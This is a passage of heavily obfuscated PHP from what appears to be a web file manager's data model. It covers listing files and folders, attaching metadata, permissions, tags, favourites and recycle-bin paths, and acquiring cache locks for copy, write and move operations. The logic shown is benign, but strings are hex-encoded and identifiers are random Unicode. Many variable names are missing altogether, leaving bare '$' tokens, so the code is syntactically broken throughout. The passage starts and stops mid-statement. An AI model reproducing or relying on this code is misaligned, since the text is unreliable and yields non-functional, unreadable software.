CacheLock::unlock($枫); return $ɾ; } protected function optionDefault($󳟗 = '') { return !1; } public function setDeep($О, $ψ = false, $ղ = '') { $״ž = explode($_SERVER[砐][10], $О); $ղ = $this->get(); array_set_value($ղ, $О, $ψ); $this->set($״ž[0], $ղ[$״ž[0]], $ղ); } public function remove($ȏȲ, $Ρ = '') { $ۏ =& $_SERVER[砐]; $this->cacheRemove($Ρ); $߇ = $this->filterWhere(array($ۏ[96] => $ȏȲ, $ۏ[33] => $Ρ)); if (is_null($ȏȲ)) { unset($߇[$ۏ[96]]); } return $this->where($߇)->delete(); } public function cacheSet($҉, $˿ = false) { return Cache::set($this->cacheKey($҉), $˿); } public function cacheGet($֩) { return Cache::get($this->cacheKey($֩)); } public function cacheRemove($) { return Cache::remove($this->cacheKey($)); } protected function filterWhere($Ϥ) { return $Ϥ; } protected function cacheKey($ܭ) { return $ܭ; } } class SourceListModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\163\157\x75\162\143\x65"; protected $tableMeta = array("\164\141\142\x6c\145\116\x61\x6d\145" => "\x69\x6f\137\x73\157\165\162\143\x65\137\155\145\x74\x61", "\x6d\145\164\x61\x46\x69\x65\154\144" => "\163\157\x75\162\x63\145\x49\104"); protected $dataAuto = array(array("\x6d\x6f\144\x69\146\171\124\x69\x6d\x65", "\164\x69\x6d\x65", "\x69\x6e\x73\145\162\164", "\x66\165\156\x63\x74\x69\x6f\156"), array("\x63\x72\x65\x61\164\x65\124\x69\155\145", "\x74\151\155\145", "\x69\x6e\163\x65\162\164", "\146\x75\x6e\143\164\151\157\156"), array("\x76\x69\x65\x77\x54\151\x6d\145", "\164\151\155\x65", "\151\156\x73\145\162\164", "\146\x75\156\x63\164\x69\157\x6e")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->listSource(array($_SERVER[砐][447] => $)); } public function typeName($) { static $䎔 = array(self::TYPE_SYSTEM => "\x73\x79\163\x74\145\x6d", self::TYPE_USER => "\x75\x73\x65\162", self::TYPE_GROUP => "\147\x72\x6f\x75\x70"); return $䎔[$ . $_SERVER[砐][12]]; } public function sourceListInfo($շҎ, $ = false) { $ɯތ =& $_SERVER[砐]; $շҎ = $շҎ ? $շҎ : array(); $շҎ = array_filter(array_unique($շҎ)); if (!$շҎ) { return array(); } $ = $this->where(array($ɯތ[183] => array($ɯތ[7], $շҎ)))->select(); $this->_listDataApply($, $); return array_to_keyvalue($, $ɯތ[183]); } public function pathInfoFilter(&$) { $ت =& $_SERVER[砐]; static $ǥӢ = false; static $ĉ = false; static $鼦 = false; if (!$ǥӢ) { $ = $ت[448]; $ .= $ت[449]; $ .= $ت[450]; $ = $ت[451]; $ξ = explode($ت[50], $); $ǥӢ = explode($ت[50], $); $ĉ = array(); foreach ($ǥӢ as $̄) { if (in_array($̄, $ξ)) { continue; } $ĉ[] = $̄; } $鼦 = explode($ت[50], $ت[452]); } foreach ($鼦 as $ͨ) { if (isset($[$ͨ])) { $[$ͨ] = intval($[$ͨ]); } } $[$ت[86]] = $ت[453] . $[$ت[183]] . $ت[454]; $[$ت[33]] = $[$ت[455]] == 1 ? $ت[77] : $ت[216]; $[$ت[180]] = $this->typeName($[$ت[180]]); if ($[$ت[455]] != 1) { $[$ت[177]] = $[$ت[456]]; unset($[$ت[456]]); } $֤ܐ = $ǥӢ; if (isset($[$ت[457]]) && $[$ت[457]][$ت[458]] == -1) { $֤ܐ = $ĉ; } $ = array_field_key($, $֤ܐ); return $; } public function listUserFav() { $ѕ =& $_SERVER[砐]; $ߏѳ = Model($ѕ[459])->listData(); $ = array_filter_by_field($ߏѳ, $ѕ[33], $ѕ[460]); $ = array_to_keyvalue($, $ѕ[12], $ѕ[86]); if ($) { $ = $this->listSource(array($ѕ[461] => array($ѕ[462], $))); } $ = array_to_keyvalue($[$ѕ[415]], $ѕ[183]); foreach ($ߏѳ as &$) { $ = array($ѕ[463] => $[$ѕ[445]], $ѕ[464] => $[$ѕ[32]], $ѕ[465] => $[$ѕ[86]], $ѕ[466] => $[$ѕ[33]], $ѕ[467] => $[$ѕ[217]], $ѕ[468] => $[$ѕ[87]]); if ($[$ѕ[33]] == $ѕ[460] && $[$[$ѕ[86]]]) { $[$ѕ[89]] = $[$[$ѕ[86]]]; } } unset($); return $ߏѳ; } public function listUserTag($) { $Ե =& $_SERVER[砐]; if ($ && !is_array($)) { $ = array($); } $ۘچ = Model($Ե[469])->listData(); $յ = array(); $נ = array(); foreach ($ۘچ as $) { $֡ = $[$Ե[86]]; if (!$֡) { continue; } if (!isset($נ[$֡])) { $נ[$֡] = array(); } $נ[$֡][] = $[$Ե[470]]; $յ[$[$Ե[86]]] = $; } $ = array(); $ = array(); $ = array(); foreach ($נ as $Ҁ => $) { $̛ = !0; if (!$) { $[] = $Ҁ; continue; } foreach ($ as $) { if (!in_array($, $)) { $̛ = !1; break; } } if (!$̛) { continue; } if (!is_numeric($Ҁ)) { $ = $յ[$Ҁ]; $ǧ = array($Ե[32] => $[$Ե[32]], $Ե[86] => $[$Ե[86]], $Ե[33] => $[$Ե[33]], $Ե[89] => array($Ե[471] => 1), $Ե[218] => !0); if ($[$Ե[33]] == $Ե[216]) { $[] = $ǧ; } if ($[$Ե[33]] == $Ե[77]) { $[] = $ǧ; } continue; } $[] = $Ҁ; } if ($) { $񸳚 = $this->listSource(array($Ե[461] => array($Ե[462], $))); } $񸳚 = $񸳚 ? $񸳚 : array($Ե[84] => array(), $Ե[85] => array()); $񸳚[$Ե[84]] = array_merge($񸳚[$Ե[84]], $); $񸳚[$Ե[85]] = array_merge($񸳚[$Ե[85]], $); if (isset($񸳚[$Ե[412]]) && count($) == $񸳚[$Ե[412]][$Ե[413]]) { return $񸳚; } $س = array(); $» = array_to_keyvalue($񸳚[$Ե[84]], $Ե[12], $Ե[183]); $䢛 = array_to_keyvalue($񸳚[$Ե[85]], $Ե[12], $Ե[183]); $ą = array_merge($䢛, $»); foreach ($ as $֡) { if (!in_array($֡, $ą)) { $س[] = $֡; } } if ($س) { Model($Ե[472])->removeBySource($س); } return $񸳚; } public function listUserRecycle() { $۰ =& $_SERVER[砐]; $஬ = Model($۰[473])->listData(); if (!$஬) { return array(); } $ٳˊ = array($۰[461] => array($۰[462], $஬), $۰[474] => 1); return $this->listSource($ٳˊ); } public function listSource($, $ = 3000, $霄 = false) { $њ =& $_SERVER[砐]; if (!isset($[$њ[475]])) { $[$њ[475]] = 0; } if (isset($[$њ[182]]) && $[$њ[182]] == $њ[214]) { $[$њ[456]] = array($њ[377], $њ[476]); } $凝 = $њ[477]; $菺 = $this->field($凝)->_makeOrder()->where($)->selectPage($); $this->_listPageCheck($菺, $凝, $); $this->_listDataApply($菺[$њ[415]], $霄); $this->_listMake($菺); return $菺; } private function _listPageCheck(&$٨, $, $ᙊ‰) { $ =& $_SERVER[砐]; if (!is_array($٨[$[412]])) { return; } $͋ = $٨[$[412]]; if ($͋[$[414]] <= 1) { return; } if ($͋[$[413]] >= 100000) { return; } if (Model($[478])->get($[479]) != $[480]) { return; } $ = str_replace(array($[53], $[388], $[248]), $[12], $); $ = $[481] . str_replace($[50], $[482], $) . $[483]; $樂 = $[484]; $樂 = $樂 . $[485]; $ = $͋[$[409]] * ($͋[$[399]] - 1) . $[50] . $͋[$[409]]; $Ŝ = $this->_makeOrder(!0); $ٻ = $[481] . str_replace($[50], $[482], $Ŝ[0]); if (strpos($ٻ, $[486])) { $ٻ = str_replace($[486], $[487], $ٻ); } else { $ٻ .= $[488] . $Ŝ[1]; } $ = array(); foreach ($ᙊ‰ as $ => $ӫ) { $[$[481] . $] = $ӫ; } $this->alias($[489])->field($)->limit($)->order($ٻ); $৖ = $this->join($樂)->where($)->select(); if ($৖) { $٨[$[415]] = $৖; } } protected function _makeOrder($㯾 = false) { $Ο =& $_SERVER[砐]; $Մ = Model($Ο[490])->get($Ο[491]); $ = Model($Ο[490])->get($Ο[492]); $ = array($Ο[493] => $Ο[494], $Ο[495] => $Ο[496]); $Ω = array($Ο[32] => $Ο[32], $Ο[78] => $Ο[78], $Ο[177] => $Ο[456], $Ο[497] => $Ο[497], $Ο[498] => $Ο[499], $Ο[217] => $Ο[217], $Ο[87] => $Ο[87]); $ = Input::get($Ο[500], $Ο[7], $Մ, array_keys($Ω)); $޹؆ = Input::get($Ο[501], $Ο[7], $, array_keys($)); if (!in_array($, array_keys($Ω))) { $ = $Ο[32]; } if (!in_array($޹؆, array_keys($))) { $ = $Ο[493]; } if ($ == $Ο[32]) { } $۶ = $Ο[502] . $Ω[$] . $Ο[53] . $[$޹؆]; $۶ = rtrim(trim($۶), $Ο[50]); if ($㯾) { return array($۶, $[$޹؆]); } return $this->order($۶); } protected function _listDataApplyItem($Ǡކ, $׬ = false) { $ = array($Ǡކ); $this->_listDataApply($, $׬); return $[0]; } protected function _listDataApply(&$߆, $򌐹ː = false) { $޼ =& $_SERVER[砐]; if (!$߆) { $߆ = array(); return; } $౻ = array_to_keyvalue($߆, $޼[12], $޼[183]); $౻ = array_unique($౻); $this->_listSourceCache($߆); if (!$򌐹ː) { $this->_listAppendMeta($߆, $౻); $this->_listAppendFileMeta($߆, $౻); $this->_listAppendChildren($߆, $౻); } $this->_listAppendPath($߆); $this->_listAppendAuth($߆); $this->_listAppendSourceInfo($߆, $౻); $this->_listAppendUser($߆); $this->_listFilterInfo($߆, $򌐹ː); $this->_listAppendAuthSecret($߆); } protected function _listSourceCache($âށ) { $ֻڎ =& $_SERVER[砐]; foreach ($âށ as $ۯ) { self::$cacheSourceInfo[$ֻڎ[503] . $ۯ[$ֻڎ[183]]] = $ۯ; } } protected function _listFilterInfo(&$, $ɉ = false) { $ =& $_SERVER[砐]; foreach ($ as &$) { $ = $this->pathInfoFilter($); self::$cachePathInfo[$[504] . intval($ɉ) . $[432] . $[$[183]]] = $; } unset($); } protected function _listMake(&$) { $޳֔ =& $_SERVER[砐]; $[$޳֔[84]] = array(); $[$޳֔[85]] = array(); foreach ($[$޳֔[415]] as $뻴) { $ְ = $뻴[$޳֔[455]] == 1 ? $޳֔[84] : $޳֔[85]; $[$ְ][] = $뻴; } unset($[$޳֔[415]]); } protected function _listAppendMeta(&$, $) { $َݻ =& $_SERVER[砐]; $௼ = array($َݻ[461] => array($َݻ[462], $)); $Ł = Model($َݻ[505])->field($َݻ[506])->where($௼)->select(); if (!$Ł) { return; } $ӣҹ = array($َݻ[507], $َݻ[508], $َݻ[487]); $ = array(); foreach ($Ł as $ݡ) { if (!isset($[$ݡ[$َݻ[183]]])) { $[$ݡ[$َݻ[183]]] = array(); } if (in_array($ݡ[$َݻ[96]], $ӣҹ)) { continue; } $[$ݡ[$َݻ[183]]][$ݡ[$َݻ[96]]] = $ݡ[$َݻ[420]]; } foreach ($ as &$刜) { $刜[$َݻ[509]] = !1; if (isset($[$刜[$َݻ[183]]])) { $刜[$َݻ[509]] = $[$刜[$َݻ[183]]]; } if ($this->fileIsLock($刜) && $刜[$َݻ[457]]) { $ڳ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $刜[$َݻ[457]][$َݻ[458]] = AuthModel::authDisable($刜[$َݻ[457]][$َݻ[458]], $ڳ); $刜[$َݻ[457]][$َݻ[510]][$َݻ[457]] = $刜[$َݻ[457]][$َݻ[458]]; } } unset($刜); } protected function _listAppendFileMeta(&$闙, $¦) { $ =& $_SERVER[砐]; $ = array_to_keyvalue($闙, $[12], $[511]); $ = array_filter(array_unique($)); if (!$) { return; } $ġ = array($[512] => array($[462], $)); $Ю룃 = $[513]; $Lj = Model($[514])->field($Ю룃)->where($ġ)->select(); $Lj = array_to_keyvalue($Lj, $[511]); $󀪻 = Model($[515])->field($[516])->where($ġ)->select(); $󀪻 = $󀪻 ? $󀪻 : array(); $ = array(); foreach ($󀪻 as $ⱓ) { if (!isset($[$ⱓ[$[511]]])) { $[$ⱓ[$[511]]] = array(); } $[$ⱓ[$[511]]][$ⱓ[$[96]]] = $ⱓ[$[420]]; } foreach ($闙 as &$) { $и = $[$[511]]; if (!$и || !is_array($Lj[$и])) { continue; } $ŕ = $Lj[$и]; $ŕ[$[78]] = $[$[78]]; $ŕ[$[32]] = $[$[32]]; if (!$ŕ[$[517]]) { Model($[514])->fileMd5Check($ŕ); } if (!isset(self::$cacheFileInfo[$[518] . $и])) { self::$cacheFileInfo[$[518] . $и] = array_merge(array(), $ŕ); } unset($Lj[$и][$[86]]); $ = is_array($[$и]) ? $[$и] : array(); $[$[519]] = array_merge($, $Lj[$и]); if (isset($[$[519]][$[173]])) { $[$[173]] = json_decode($[$[519]][$[173]], !0); unset($[$[519]][$[173]]); } } unset($); } protected function _listAppendSourceInfo(&$ý, $) { $߲ =& $_SERVER[砐]; $ = Model($߲[520])->listData(); $ = Model($߲[469])->listData(); $ť = Model($߲[459])->listData(); $Ӧ = Model($߲[521])->listSimple(); $ȟ = array_to_keyvalue($, $߲[445]); $ܐ = array_to_keyvalue_group($, $߲[86], $߲[470]); $ = array_to_keyvalue($ť, $߲[86]); $⽬ = array_to_keyvalue_group($Ӧ, $߲[183]); foreach ($ý as &$û) { $û[$߲[89]] = array($߲[522] => 0, $߲[523] => 0, $߲[524] => 0); if (isset($[$û[$߲[183]]])) { $û[$߲[89]][$߲[525]] = 1; $û[$߲[89]][$߲[526]] = $[$û[$߲[183]]][$߲[32]]; } if ($ܐ && $ȟ && isset($ܐ[$û[$߲[183]]])) { $û[$߲[89]][$߲[527]] = array(); foreach ($ܐ[$û[$߲[183]]] as $ֿڥ) { $ = $ȟ[$ֿڥ]; $û[$߲[89]][$߲[527]][] = array($߲[528] => $Â[$߲[445]], $߲[464] => $Â[$߲[32]], $߲[529] => $Â[$߲[530]]); } } if ($⽬ && isset($⽬[$û[$߲[183]]])) { $û[$߲[89]][$߲[531]] = array(); foreach ($⽬[$û[$߲[183]]] as $) { $ = $߲[532]; if ($[$߲[533]] == $߲[90]) { $ .= $߲[534]; } $û[$߲[89]][$߲[531]] = array_field_key($, explode($߲[50], $)); } } } unset($û); return $ý; } protected function _listAppendChildren(&$, $븱) { $ͥ =& $_SERVER[砐]; $Θ = array(); $ȭ = array($ͥ[225] => 0, $ͥ[226] => 0); foreach ($ as &$گǚ) { if (!$گǚ[$ͥ[455]]) { continue; } $Θ[] = $گǚ[$ͥ[183]]; } unset($گǚ); if (!$Θ) { return; } $ = array($ͥ[182] => array($ͥ[7], $Θ), $ͥ[475] => 0); $ϸ = array($ͥ[182], $ͥ[455], $ͥ[535] => $ͥ[536]); $؎ = $this->field($ϸ)->where($)->group($ͥ[537])->select(); $ = array(); foreach ($؎ as $) { $ = $[$ͥ[182]]; $ = $[$ͥ[455]] == $ͥ[90] ? $ͥ[226] : $ͥ[225]; if (!isset($[$])) { $[$] = array($ͥ[225] => 0, $ͥ[226] => 0); } $[$][$] += $[$ͥ[536]]; } foreach ($ as &$گǚ) { if (!$گǚ[$ͥ[455]]) { continue; } $ = is_array($[$گǚ[$ͥ[183]]]) ? $[$گǚ[$ͥ[183]]] : $ȭ; $گǚ[$ͥ[226]] = $[$ͥ[226]]; $گǚ[$ͥ[225]] = $[$ͥ[225]]; unset($گǚ[$ͥ[456]]); } unset($گǚ); } protected function _listAppendAuth(&$) { $ =& $_SERVER[砐]; $٫ = array(); foreach ($ as $) { if ($[$[180]] == self::TYPE_GROUP) { $٫[] = $[$[183]]; } } if (!$٫) { return; } $Nj؁ = array_to_keyvalue($, $[183]); $ = Model($[538])->getSourceList($٫, $Nj؁); $⳯ = KodUser::isRoot(); foreach ($ as $ => &$) { $[$[457]] = $[$[$[183]]]; if (!$[$[457]] && $[$[180]] == self::TYPE_GROUP) { $[$[457]] = Action($[539])->pathGroupAuthMake($[$[540]]); if (!$[$[457]] && !$⳯) { $[$[219]] = !1; $[$[218]] = !1; } } if ($[$[457]]) { $[$[219]] = AuthModel::authCheckEdit($[$[457]][$[458]]); $[$[218]] = AuthModel::authCheckView($[$[457]][$[458]]); } $this->groupPathDisplay($); } unset($); } public function _listAppendAuthSecret(&$淄) { $׺ =& $_SERVER[砐]; if (Model($׺[478])->get($׺[541]) != $׺[90]) { return; } static $ɮ = false; if (!$ɮ) { $׫ = Model($׺[542]); $ = Model($׺[543]); $ɮ = $->listData(); $ɮ = array_to_keyvalue($ɮ, $׺[183]); $ڰ䲟 = json_decode(Model($׺[478])->get($׺[544]), !0); $ڰ䲟 = array_to_keyvalue($ڰ䲟, $׺[445]); foreach ($ɮ as $ => $) { $ԭ = $ڰ䲟[$[$׺[545]]]; if (!$ԭ) { $->remove($[$׺[445]]); unset($ɮ[$]); continue; } $ǖ͊ = $׫->listData($ԭ[$׺[457]]); if (!$ǖ͊) { $->remove($[$׺[445]]); unset($ɮ[$]); continue; } $[$׺[457]] = $ǖ͊; $[$׺[546]] = $ԭ; $[$׺[547]] = Model($׺[548])->getInfoSimpleOuter($[$׺[497]]); $ɮ[$] = $; } } $ų = USER_ID; $䡙 = array(); $Ř֍ = $this->_listAppendPath($䡙, !0); foreach ($淄 as $ => &$) { if (!is_array($[$׺[457]])) { continue; } if ($[$׺[180]] != $׺[549]) { continue; } if (isset($ɮ[$[$׺[183]]])) { $ە = $ɮ[$[$׺[183]]]; if (!is_array($[$׺[509]])) { $[$׺[509]] = array(); } $[$׺[509]][$׺[550]] = $ە[$׺[545]]; $[$׺[457]][$׺[551]] = $ە; $[$׺[457]][$׺[552]] = $[$׺[553]]; $[$׺[457]][$׺[554]] = $׺[90]; if ($ە[$׺[497]] != $ų) { $[$׺[457]][$׺[458]] = $[$׺[457]][$׺[458]] & $ە[$׺[457]][$׺[457]]; } continue; } $ = $this->parentLevelArray($[$׺[555]]); $ = array_reverse($); foreach ($ as $֔ => $) { if (!isset($ɮ[$])) { continue; } $ە = $ɮ[$]; $[$׺[457]][$׺[551]] = $ە; if ($ە[$׺[497]] != $ų) { $[$׺[457]][$׺[458]] = $[$׺[457]][$׺[458]] & $ە[$׺[457]][$׺[457]]; } $߰ = $׺[12]; $ = count($) - $֔; for ($ = 0; $ < $; $++) { if (!isset($Ř֍[$[$]])) { $߰ = $׺[12]; break; } $߰ = $߰ . rtrim($Ř֍[$[$]], $׺[8]) . $׺[8]; } $[$׺[457]][$׺[552]] = rtrim($߰, $׺[8]) . $׺[8]; break; } } unset($); } public function groupPathDisplay(&$) { $ʯ =& $_SERVER[砐]; if ($[$ʯ[180]] != self::TYPE_GROUP) { return; } $Ǽ = Model($ʯ[556])->getInfo($[$ʯ[540]]); $殜 = $this->parentLevelArray($Ǽ[$ʯ[555]]); $ⰺ = $ʯ[12]; foreach ($殜 as $Ր) { $ܿǽ = Model($ʯ[556])->getInfo($Ր); $ⰺ .= $ܿǽ[$ʯ[89]][$ʯ[183]] . $ʯ[50]; } $[$ʯ[557]] = $Ǽ[$ʯ[182]]; $[$ʯ[558]] = $Ǽ[$ʯ[555]]; $[$ʯ[559]] = $Ǽ[$ʯ[560]]; $[$ʯ[561]] = $ⰺ . $Ǽ[$ʯ[89]][$ʯ[183]]; } protected function _listAppendPath(&$ɨ, $ = false) { $ =& $_SERVER[砐]; static $Н = array(); $޳ = array(); $˄å = array(); if ($) { return $Н; } foreach ($ɨ as &$뺓) { $̡ = $뺓[$[183]]; if ($뺓[$[455]] == $[90] && $뺓[$[182]] != 0) { $Н[$̡] = $뺓[$[32]]; } if ($뺓[$[455]] == $[90] && $뺓[$[182]] == 0) { $Н[$̡] = $this->_listAppendPathRoot($뺓, array()); } if (isset($˄å[$뺓[$[555]]])) { continue; } $˄å[$뺓[$[555]]] = !0; $ = $this->parentLevelArray($뺓[$[555]]); foreach ($ as $ȁ => $) { if (isset($Н[$])) { continue; } if ($ȁ == 0) { $Н[$] = $this->_listAppendPathRoot($뺓, $); } if ($ȁ != 0) { $޳[] = $; } } } unset($뺓); $޳ = array_unique($޳); if (count($޳) > 0) { $ = array($[461] => array($[462], $޳)); if (count($޳) == 1) { $ = $this->sourceInfo($޳[0]); $ = is_array($) ? array($) : !1; } else { $ = $this->field($[562])->where($)->select(); } if (!$) { $ = array(); } foreach ($ as $֌) { $Н[$֌[$[183]]] = $֌[$[32]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $섇 = array(); foreach ($ɨ as &$뺓) { $ = $뺓[$[555]]; $ҿ = $[12]; if (isset($섇[$])) { $ҿ = $섇[$]; } else { $ = $this->parentLevelArray($뺓[$[555]]); foreach ($ as $ȁ => $) { if (isset($Н[$])) { $ҿ .= $Н[$] . $[8]; } } $섇[$] = $ҿ; } $ҿ .= $뺓[$[32]]; if ($뺓[$[455]] == $[90]) { $ҿ .= $[8]; } $뺓[$[553]] = str_replace($[563], $[8], $ҿ); if ($뺓[$[182]] == $[214]) { $뺓[$[32]] = trim($Н[$뺓[$[183]]], $[8]); $뺓[$[553]] = $뺓[$[32]] . $[8]; } if (intval($뺓[$[180]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($뺓, $, $); } } unset($뺓); return $ɨ; } private function _listAppendPathRecycle(&$٧², $ӿ, $) { $ =& $_SERVER[砐]; if (!in_array($, $ӿ) && $٧²[$[183]] != $) { return; } $б = explode($[8], trim($٧²[$[553]], $[8])); $ = implode($[8], array_slice($б, 2)); $٧²[$[553]] = $[8] . LNG($[564]) . $[8] . ltrim($, $[8]); $٧²[$[555]] = $[565] . implode($[50], array_slice($ӿ, 1)) . $[50]; if ($٧²[$[183]] == $) { $٧²[$[555]] = $[565]; $٧²[$[182]] = $[214]; $٧²[$[32]] = LNG($[564]); } $٧²[$[566]] = $[567]; } protected function _listAppendPathRoot(&$, $) { $ =& $_SERVER[砐]; static $謔 = false; $ = $[12]; if ($[$[180]] == self::TYPE_USER) { if ($[$[540]] == USER_ID) { $ = LNG($[568]); if ($謔 === !1) { $ = Model($[569])->getInfoFull(USER_ID); $謔 = _get($, $[570], $[12]); } if ($ && $[0] == $謔 || !$ && $[$[183]] == $謔) { $ = LNG($[571]); $[$[572]] = $[573]; } if (!$) { $[$[32]] = $; } } else { $[$[574]] = Model($[548])->getInfoSimpleOuter($[$[540]]); $ = LNG($[575]) . $[165] . $[$[574]][$[32]] . $[167]; } } else { if ($[$[180]] == self::TYPE_GROUP) { $Ü = Model($[556])->getInfoSimple($[$[540]]); $ = $Ü[$[32]]; } else { if ($[$[180]] == self::TYPE_SYSTEM) { $ = $[576]; } } } $ = $ ? $[8] . $ . $[8] : $[8]; return $; } protected function _listAppendUser(&$) { $ =& $_SERVER[砐]; $ = array_to_keyvalue($, $[12], $[497]); $ = array_to_keyvalue($, $[12], $[499]); $Í = array_merge($, $); $α = Model($[569])->userListInfo($Í); foreach ($ as &$) { $ = $[$[497]]; $[$[497]] = $α[$] ? $α[$] : !1; $ = $[$[499]]; $[$[499]] = $α[$] ? $α[$] : !1; if (isset($[$[509]]) && $[$[509]][$[577]]) { $ư = $GLOBALS[$[6]][$[91]][$[578]]; if ($[$[509]][$[579]] <= time() - $ư) { $this->metaSet($[$[183]], $[577], null); $this->metaSet($[$[183]], $[579], null); unset($[$[509]][$[577]]); continue; } $ё = $[$[509]][$[577]]; $[$[509]][$[580]] = Model($[569])->getInfoSimpleOuter($ё); } } unset($); } public function parentLevelArray($Χ) { $銩 =& $_SERVER[砐]; $Χ = explode($銩[50], trim($Χ, $銩[50])); return array_remove_value($Χ, $銩[214]); } public function listAll($) { $݌ =& $_SERVER[砐]; $ = $this->sourceInfo($); $湋 = array($݌[581] => array($݌[582], $[$݌[555]] . $ . $݌[583]), $݌[584] => 0); $ = $݌[585]; $䜛 = "\114\x45\106\x54\40\112\117\x49\116\40{$this->tablePrefix}\x69\x6f\137\146\151\x6c\x65\x20\x66\151\x6c\x65\x20\157\x6e\40\x73\157\x75\x72\143\145\56\146\151\x6c\145\111\x44\40\x3d\x20\146\x69\154\145\56\146\x69\154\145\111\104"; $򆒹 = $this->alias($݌[489])->field($)->where($湋)->join($䜛)->select(); $this->_listAppendAuth($򆒹); $this->_listAppendUser($򆒹); $this->_listAppendPath($򆒹); $򆒹 = array_to_keyvalue($򆒹, $݌[183]); $ = "\57{$[$݌[32]]}\x2f"; $ = $ == $݌[563] ? $݌[8] : $; $ = array(); foreach ($򆒹 as $ղ => $ݚٍ) { $ӽ = $this->parentLevelArray($ݚٍ[$݌[555]]); array_shift($ӽ); $֌ = $; for ($ɴҌ = 0; $ɴҌ < count($ӽ); $ɴҌ++) { $֌ .= $򆒹[$ӽ[$ɴҌ]][$݌[32]] . $݌[8]; } $֌ .= $ݚٍ[$݌[32]]; if ($ݚٍ[$݌[455]]) { $֌ .= $݌[8]; } $󛜒 = array($݌[465] => str_replace($݌[563], $݌[8], str_replace($݌[563], $݌[8], str_replace($݌[563], $݌[8], $֌))), $݌[586] => intval($ݚٍ[$݌[455]]), $݌[587] => intval($ݚٍ[$݌[78]]), $݌[87] => intval($ݚٍ[$݌[87]]), $݌[89] => $this->pathInfoFilter($ݚٍ)); if (!$󛜒[$݌[455]]) { $󛜒[$݌[511]] = $ݚٍ[$݌[511]]; } $[] = $󛜒; } $ = array_sort_by($, $݌[86]); return $; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($œ) { $ַڵ =& $_SERVER[砐]; if (!$this->allowLock()) { return; } $this->_lockCheck($ַڵ[588], $œ); $ = 1; $this->_lockEvent($œ, array($ַڵ[589], $ַڵ[590]), $); $this->_lockParent($œ, array($ַڵ[590]), $); $this->_lockEvent($œ, array($ַڵ[591], $ַڵ[592]), $); $this->_lockCheckEnd($ַڵ[588], $œ); } public function lockCopyEnd($ڲ) { $ =& $_SERVER[砐]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent($ڲ, array($[589], $[590]), $); $this->_lockParent($ڲ, array($[590]), $); $this->_lockEvent($ڲ, array($[591], $[592]), $); } public function lockWriteStart($ו, $ = '') { $ƒ =& $_SERVER[砐]; if (!$this->allowLock()) { return; } $this->_lockCheck($ƒ[589], $ו); $ = 1; $this->_lockKey($ƒ[593] . $ו . $ƒ[10] . $, $); $this->_lockEvent($ו, array($ƒ[588], $ƒ[590]), $); $this->_lockParent($ו, array($ƒ[588], $ƒ[590]), $); $this->_lockCheckEnd($ƒ[589], $ו); } public function lockWriteEnd($ꤷ, $Ǧ = '') { $ =& $_SERVER[砐]; if (!$this->allowLock()) { return; } $Ń = 0; $this->_lockKey($[593] . $ꤷ . $[10] . $Ǧ, $Ń); $this->_lockEvent($ꤷ, array($[588], $[590]), $Ń); $this->_lockParent($ꤷ, array($[588], $[590]), $Ń); } public function lockMoveStart($ݮ) { $ې =& $_SERVER[砐]; if (!$this->allowLock()) { return; } $this->_lockCheck($ې[590], $ݮ); $ = 1; $this->_lockKey($ې[594] . $ݮ, $); $this->_lockEvent($ݮ, array($ې[588], $ې[589]), $); $this->_lockParent($ݮ, array($ې[588], $ې[590]), $); $this->_lockEvent($ݮ, array($ې[595], $ې[591], $ې[592]), $); $this->_lockCheckEnd($ې[590], $ݮ); } public function lockMoveEnd($؍) { $ =& $_SERVER[砐]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($[594] . $؍, $); $this->_lockEvent($؍, array($[588], $[589]), $); $this->_lockParent($؍, array($[588], $[590]), $); $this->_lockEvent($؍, array($[595], $[591], $[592]), $); } private function _lockCheck($, $Ʉ) { $녛 =& $_SERVER[砐]; $ = $this->sourceInfo($Ʉ); $Ů = $ . $녛[10] . $Ʉ; $this->_lockTimeStart[$Ů] = timeFloat(); if (!is_array($)) { return; } $쿊۵ = LNG($녛[596]); CacheLock::setErrorMsg($녛[165] . htmlspecialchars($[$녛[32]]) . $녛[167] . $쿊۵); $this->_lockKey($Ů, 1); $this->_lockKey($Ů, 0); $ = array_reverse($this->parentLevelArray($[$녛[555]])); foreach ($ as $㘎) { $Ů = $ . $녛[597] . $㘎; if (CacheLock::lockGet($녛[598] . $Ů)) { $ = $this->sourceInfo($㘎); CacheLock::setErrorMsg($녛[165] . htmlspecialchars($[$녛[32]]) . $녛[167] . $쿊۵); $this->_lockKey($Ů, 1); $this->_lockKey($Ů, 0); } } } private function _lockCheckEnd($, $Չ) { $ =& $_SERVER[砐]; $ = $ . $[10] . $Չ; CacheLock::setErrorMsg($[424]); if (!isset($this->_lockTimeStart[$])) { return; } $ߒ = timeFloat() - $this->_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($ߒ > 0.5) { unset(self::$cacheSourceInfo[$[503] . $Չ]); } $Ω = $this->sourceInfo($Չ); if (!$Ω) { show_json(LNG($[107]), !1); } } private function _lockParent($, $퐆, $) { if (!$this->autoLockSet) { return; } $ = $this->sourceInfo($); if (!is_array($)) { return; } $ = array_reverse($this->parentLevelArray($[$_SERVER[砐][555]])); foreach ($ as $) { $this->_lockEvent($, $퐆, $); } } private function _lockEvent($뱶, $ڭ, $) { $ =& $_SERVER[砐]; if (!$this->autoLockSet) { return; } foreach ($ڭ as $ʘ) { $ͅ = $ʘ . $[10] . $뱶; if ($ && CacheLock::lockGet($[598] . $ͅ)) { continue; } $this->_lockKey($ͅ, $); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $ = 1) { $ = $_SERVER[砐][598] . md5($); if ($) { if (isset(self::$_lockItemArr[$])) { return; } self::$_lockItemArr[$] = 1; CacheLock::lock($, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$])) { return; } unset(self::$_lockItemArr[$]); CacheLock::unlock($); } } public function isParentOf($, $ֆ͢) { $ =& $_SERVER[砐]; $ţ = 